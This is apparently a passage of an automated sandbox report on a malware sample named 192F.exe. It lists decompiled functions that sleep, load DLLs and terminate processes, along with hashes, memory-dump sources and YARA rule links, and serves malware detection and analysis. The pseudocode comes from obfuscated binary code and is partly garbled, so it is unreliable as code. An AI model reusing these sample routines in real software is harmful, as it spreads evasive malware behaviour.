Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004026C8, Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026C8(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t12;
				void* _t13;
				void* _t16;
				intOrPtr _t20;
				void* _t22;
				void* _t25;
				UNICODE_STRING* _t26;
				intOrPtr* _t28;

				_t20 =  *_t28;
				L0040118A(0x2700, _t16, _t20, _t22, __eflags);
				_t17 = _a4;
				_t26 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t26, _a8, __ecx, 0x51, _t22, _t25, _t16);
				_t23 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t26,  &_v8);
				_t31 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t23, _t31);
				return _v8;
			}

0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000001A.00000001.383485537.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction ID: 40dc2efb075a3afc972c71eb076c1c0414e6b27fd6f2b5cc45f04f39bc90cd3d
Opcode Fuzzy Hash: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction Fuzzy Hash: C9016231608504E7DB006A419E4DBAA7764AB44754F208437FA067B1C0D6FD9A4BB76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Function 004026D3, Relevance: 1.5, APIs: 1, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004026D3(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				long _t13;
				void* _t14;
				struct _OBJDIR_INFORMATION _t16;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				asm("sbb eax, [eax]");
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, __eflags);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), __ecx, 0x51);
				_t24 = _t28 - 4;
				_t13 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t13;
				if(_t13 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t14 = 0x2700;
				L0040118A(_t14, _t18, 0x51, _t24, _t34);
				_t16 =  *(_t28 - 4);
				return _t16;
			}

0x004026d3
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000001A.00000001.383485537.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction ID: 9584a62b05b7d8a9b2a776b7033dab2b10b945a71b24260a1d24854f7785f2a5
Opcode Fuzzy Hash: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction Fuzzy Hash: 9C01D131608500EBCB019E419E4DBAA3760AF04304F208477E606BF1D0C6FD9607FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026DF, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026DF(void* __ebx, signed int __ecx, void* __edi) {
				long _t12;
				void* _t13;
				struct _OBJDIR_INFORMATION _t15;
				signed char _t20;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				signed char _t33;

				_t20 = __ecx |  *0xebc2f5eb;
				_t33 = _t20;
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, _t33);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t20, 0x51);
				_t24 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t24, _t34);
				_t15 =  *(_t28 - 4);
				return _t15;
			}

0x004026df
0x004026df
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000001A.00000001.383485537.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction ID: 8c80e095348b3890610be7f7119ddd6f2bf491658c7e2b08e3b2f8ba4f36ee70
Opcode Fuzzy Hash: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction Fuzzy Hash: 61F0C231608505F7CB059B919A5DB9A7B70AF48358F208037E6467F1C0C3BC9A0AEB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026F6, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026F6(void* __ebx, void* __ecx, signed int __edx, void* __edi) {
				void* _t12;
				long _t15;
				void* _t16;
				struct _OBJDIR_INFORMATION _t18;
				intOrPtr _t23;
				UNICODE_STRING* _t30;
				signed int _t32;
				intOrPtr* _t34;
				signed char _t37;

				_t37 = __edx |  *(__ebx + _t32 * 8 - 0xe);
				_t23 =  *_t34;
				L0040118A(_t12, __ebx, _t23, __edi, _t37);
				_t20 =  *((intOrPtr*)(_t32 + 8));
				_t30 = _t32 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + 0xc))(_t30,  *((intOrPtr*)(_t32 + 0xc)), __ecx, 0x51);
				_t28 = _t32 - 4;
				_t15 = LdrLoadDll(0, 0, _t30, _t32 - 4);
				_t38 = _t15;
				if(_t15 != 0) {
					 *(_t32 - 4) = 0;
				}
				_t16 = 0x2700;
				L0040118A(_t16, _t20, 0x51, _t28, _t38);
				_t18 =  *(_t32 - 4);
				return _t18;
			}

0x004026f6
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000001A.00000001.383485537.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction ID: d7b1c623c9884319f2b4b1abd5d885049190cb82f350ff51d45b82dffe9b7bfe
Opcode Fuzzy Hash: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction Fuzzy Hash: E2F05435604505E7CF019A91999DB9E7760EF44354F208067F606BF0D1C2BC960A976A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 192F.exe PID: 3104 Parent PID: 3292 192F.exeCOMMON

Executed Functions

Function 004017A3, Relevance: 3.1, APIs: 2, Instructions: 56
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004017A3(signed int __edx, void* __edi, void* __esi, void* __fp0) {

				asm("wait");
				 *(0x7684bd6c + __edx * 4) =  *(0x7684bd6c + __edx * 4) >> 1;
			}

0x004017a6
0x004017aa

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.417316565.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction ID: 5bd60c2b3e8a068e4466346cbc0defb5667620a0c4f183a3ee32389aea7e8ad2
Opcode Fuzzy Hash: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction Fuzzy Hash: 3E01C033648100EBE700BA909C42E6A3325AF00700F24C137FA53BA1E1C63EDB22975B

Uniqueness

Uniqueness Score: -1.00%

Function 0040181C, Relevance: 3.1, APIs: 2, Instructions: 55
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0040181C(void* __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t24;

				_t19 = __edx;
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, _t20, _t21, _t24);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_push(0x1851);
				asm("les eax, [ebx+ebp*8]");
				_push(0x66);
				__esp = __esp + 4;
				return __eax;
			}

0x0040181c
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x0040188b
0x00401894
0x004018a3
0x004018a8
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.417316565.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction ID: 0d4c73ff1a25ccc0af209e25dff701d5f0484e4d803941be834223819e423ed0
Opcode Fuzzy Hash: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction Fuzzy Hash: DA019E33608204EBE7007A949D46D6A3329EF04714F24C137FA07791E1D63E9B22A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401828, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00401828(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t22;
				void* _t25;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				asm("enter 0xdd16, 0x68");
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, __edi, __esi, _t25);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(); // executed
				asm("les eax, [ebx+ebp*8]");
				__esp = __esp + 4;
				__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
				__edi = 0x66;
				__esi = 0x1851;
				__ebx = 0xffffffff;
				__esp = __ebp;
				__ebp = 0;
				return __eax;
			}

0x00401828
0x00401828
0x00401828
0x00401828
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x00401894
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.417316565.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction ID: b329b9df0df391f908064f7b6fb4b650575042adab4467ec8a7c1b58a8870e1c
Opcode Fuzzy Hash: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction Fuzzy Hash: F701B533648200EBE700BB909C42E6A37259F04701F248137FA53791E1D63ED722E72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017DA, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004017DA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t31;
				void* _t39;
				signed int _t40;

				L0:
				while(1) {
					_t31 = __edi;
					_t16 = __eax;
					__eax = __esp;
					__esp = _t16;
					_t17 = __eax;
					__eax = _t16;
					__esp = _t17;
					__eax = __edi * 0xffffff88;
					__eflags = __eax;
					if(__eflags >= 0) {
						L21:
						_push(0x66);
						__esp = __esp + 4;
						L23:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						__ebx =  *((intOrPtr*)(__ebp + 8));
						Sleep(0x1388);
						__eax = __ebp - 4;
						_push(__ebp - 4);
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *((intOrPtr*)(__ebp + 0xc)));
						_push(__ebx); // executed
						__eax = E004013A0(__ebx, __edi, __esi); // executed
						__eflags = __eax;
						if(__eax != 0) {
							L24:
							_push( *((intOrPtr*)(__ebp + 0x14)));
							_push( *(__ebp - 4));
							L25:
							_push(__eax);
							_push(__ebx); // executed
							__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
						}
						L26:
						__eax =  *__ebx(0xffffffff, 0); // executed
						L29:
						L27:
						_push(0x1851);
						__eax =  *__esp;
						L28:
						__al = __al & 0x00000083;
						asm("les eax, [ebx+ebp*8]");
						__eax = __eax + 0xefeb0eeb;
						__eflags = __eax;
						L30:
						L35:
						L31:
						_push(0x66);
						L32:
						L33:
						__esp = __esp + 4;
						L34:
						L36:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						L14:
						_push(0x867f6b6b);
						goto 0x363cf8f5;
						asm("adc byte [esp+edx*4+0x17b0901f], 0x50");
						if(__eflags > 0) {
							L5:
							asm("stosb");
							_t5 = __eax;
							__eax = __esp;
							__esp = _t5;
							asm("loopne 0xffffffbe");
							_pop(ds);
							asm("stosb");
							_pop(ds);
							asm("ficom dword [eax+0x459c7d17]");
							if(__eflags < 0) {
								L6:
								_push(__edx);
								asm("pushfd");
								asm("movsd");
								_push(__esp);
								asm("repne cmp [0x9494a494], edi");
								asm("loopne 0xffffff9a");
								L7:
								asm("wait");
								_t6 = __eax;
								__eax = __esp;
								__esp = _t6;
								_t7 = __eax;
								__eax = _t6;
								__esp = _t7;
								__eax = __edi;
								__edi = _t6;
								_t10 = 0x7684bd6c + __edx * 4;
								 *_t10 =  *(0x7684bd6c + __edx * 4) >> 1;
								__eflags =  *_t10;
							}
							L8:
							__ebp = 0x7f737684;
						} else {
							L15:
							if (__eflags >= 0) goto L11;
							L16:
							asm("xlatb");
						}
					}
					L37:
				}
				L3:
				_t4 = _t31;
				_t31 = _t39;
				_t39 = _t4;
				if(_t40 > 0) {
					_t2 = _t31 + 0xe;
					 *_t2 =  *(_t31 + 0xe) << 0x4d;
					_t40 =  *_t2;
					asm("cmpsd");
					goto L3;
				}
				return _t31;
				goto L37;
			}

0x004017da
0x004017da
0x004017da
0x004017db
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017dc
0x004017dd
0x004017dd
0x004017e0
0x0040183d
0x0040183d
0x00401842
0x0040184c
0x0040184c
0x00401851
0x00401859
0x0040185c
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186c
0x0040186e
0x00401870
0x00401870
0x00401873
0x00401876
0x00401876
0x00401877
0x00401878
0x00401878
0x0040187d
0x00401881
0x0040189a
0x0040188b
0x0040188b
0x00401890
0x00401892
0x00401892
0x00401894
0x00401897
0x00401897
0x0040189d
0x004018af
0x004018a3
0x004018a3
0x004018a4
0x004018a8
0x004018a8
0x004018ab
0x004018b2
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017e2
0x004017e2
0x004017e2
0x004017e7
0x004017ec
0x004017f5
0x00401788
0x00401788
0x00401789
0x00401789
0x00401789
0x0040178a
0x0040178c
0x0040178d
0x0040178e
0x0040178f
0x00401795
0x00401797
0x00401797
0x00401798
0x00401799
0x0040179a
0x0040179b
0x004017a2
0x004017a3
0x004017a6
0x004017a7
0x004017a7
0x004017a7
0x004017a8
0x004017a8
0x004017a8
0x004017a9
0x004017a9
0x004017aa
0x004017aa
0x004017aa
0x004017aa
0x004017ae
0x004017ae
0x004017f7
0x004017f7
0x004017f7
0x004017f8
0x004017f8
0x004017f8
0x004017f5
0x00000000
0x004017e0
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x00401771
0x00000000
0x00401771
0x00401775
0x00000000

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.417316565.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction ID: a894bf59af688e7f2aefbaf232239d4a7e11f6dbdc9ab261776b6b6844387aa1
Opcode Fuzzy Hash: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction Fuzzy Hash: 0A018432644201EBEB00BA909D42D6E3325AF44714F248137FA17BA1E1D63EDB22976B

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004017F8(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t30;
				void* _t37;
				signed int _t39;

				L0:
				while(1) {
					_t30 = __eax;
					asm("xlatb");
					__eax =  *__edi * 8;
					__eflags = __eax;
					_t12 = __eax;
					__eax = __esp;
					__esp = _t12;
					_t13 = __eax;
					__eax = _t12;
					__esp = _t13;
					__eax = _t13;
					__esp = _t12;
					if(__eflags > 0) {
						L2:
						asm("cmpsd");
						L3:
						_t3 = _t30;
						_t30 = _t37;
						_t37 = _t3;
						if(_t39 > 0) {
							L1:
							_t1 = _t30 + 0xe;
							 *_t1 =  *(_t30 + 0xe) << 0x4d;
							_t39 =  *_t1;
							goto L2;
						}
						L4:
						return _t30;
					} else {
						L12:
						asm("cld");
						if (__eflags < 0) goto L3;
						L13:
						_t15 = __eax;
						__eax = __edi;
						__edi = _t15;
					}
					L37:
				}
				if(__eflags > 0) {
					__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
					__eax =  *__ebx(__ebx, __eax); // executed
					__eax =  *__esp;
					__al = __al & 0x00000083;
					asm("les eax, [ebx+ebp*8]");
					__eax = __eax + 0xefeb0eeb;
					__eflags = __eax;
					__esp = __esp + 4;
					__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
					__edi = 0x66;
					__esi = 0x1851;
					__ebx = 0xffffffff;
					__esp = __ebp;
					__ebp = 0;
					return __eax;
				} else {
					__bh = __bh &  *(__edi - 0x65);
					asm("clc");
					asm("popfd");
					asm("lodsd");
					asm("enter 0xe0fc, 0x97");
					_t19 = __eax;
					__eax = __esp;
					__esp = _t19;
					_t20 = __eax;
					__eax = _t19;
					__esp = _t20;
					asm("int 0x7f");
					__eax = __ecx;
					__ecx = _t19;
					__bh = 0x7f;
					asm("pushad");
					asm("repne jl 0xffffffd4");
					asm("insd");
					__ebp =  *(__ebx + 0x5f) * 0x5e;
					__eflags = __ebp;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				goto L37;
			}

0x004017f8
0x004017f8
0x004017f8
0x004017f8
0x004017d0
0x004017d0
0x004017d3
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d4
0x004017d5
0x004017d5
0x004017d6
0x00401771
0x00401771
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x0040176a
0x00000000
0x0040176e
0x00401775
0x00401775
0x004017d8
0x004017d8
0x004017d8
0x004017d9
0x004017da
0x004017da
0x004017da
0x004017da
0x004017da
0x00000000
0x004017d6
0x004017f9
0x00401878
0x00401881
0x00401890
0x00401892
0x00401894
0x00401897
0x00401897
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017fb
0x004017fb
0x004017fe
0x004017ff
0x00401801
0x00401802
0x00401806
0x00401806
0x00401806
0x00401807
0x00401807
0x00401807
0x00401808
0x0040180a
0x0040180a
0x0040180b
0x0040180e
0x0040180f
0x00401812
0x00401813
0x00401813
0x00401817
0x00401818
0x00401818
0x00401819
0x00401819
0x00000000

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.417316565.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
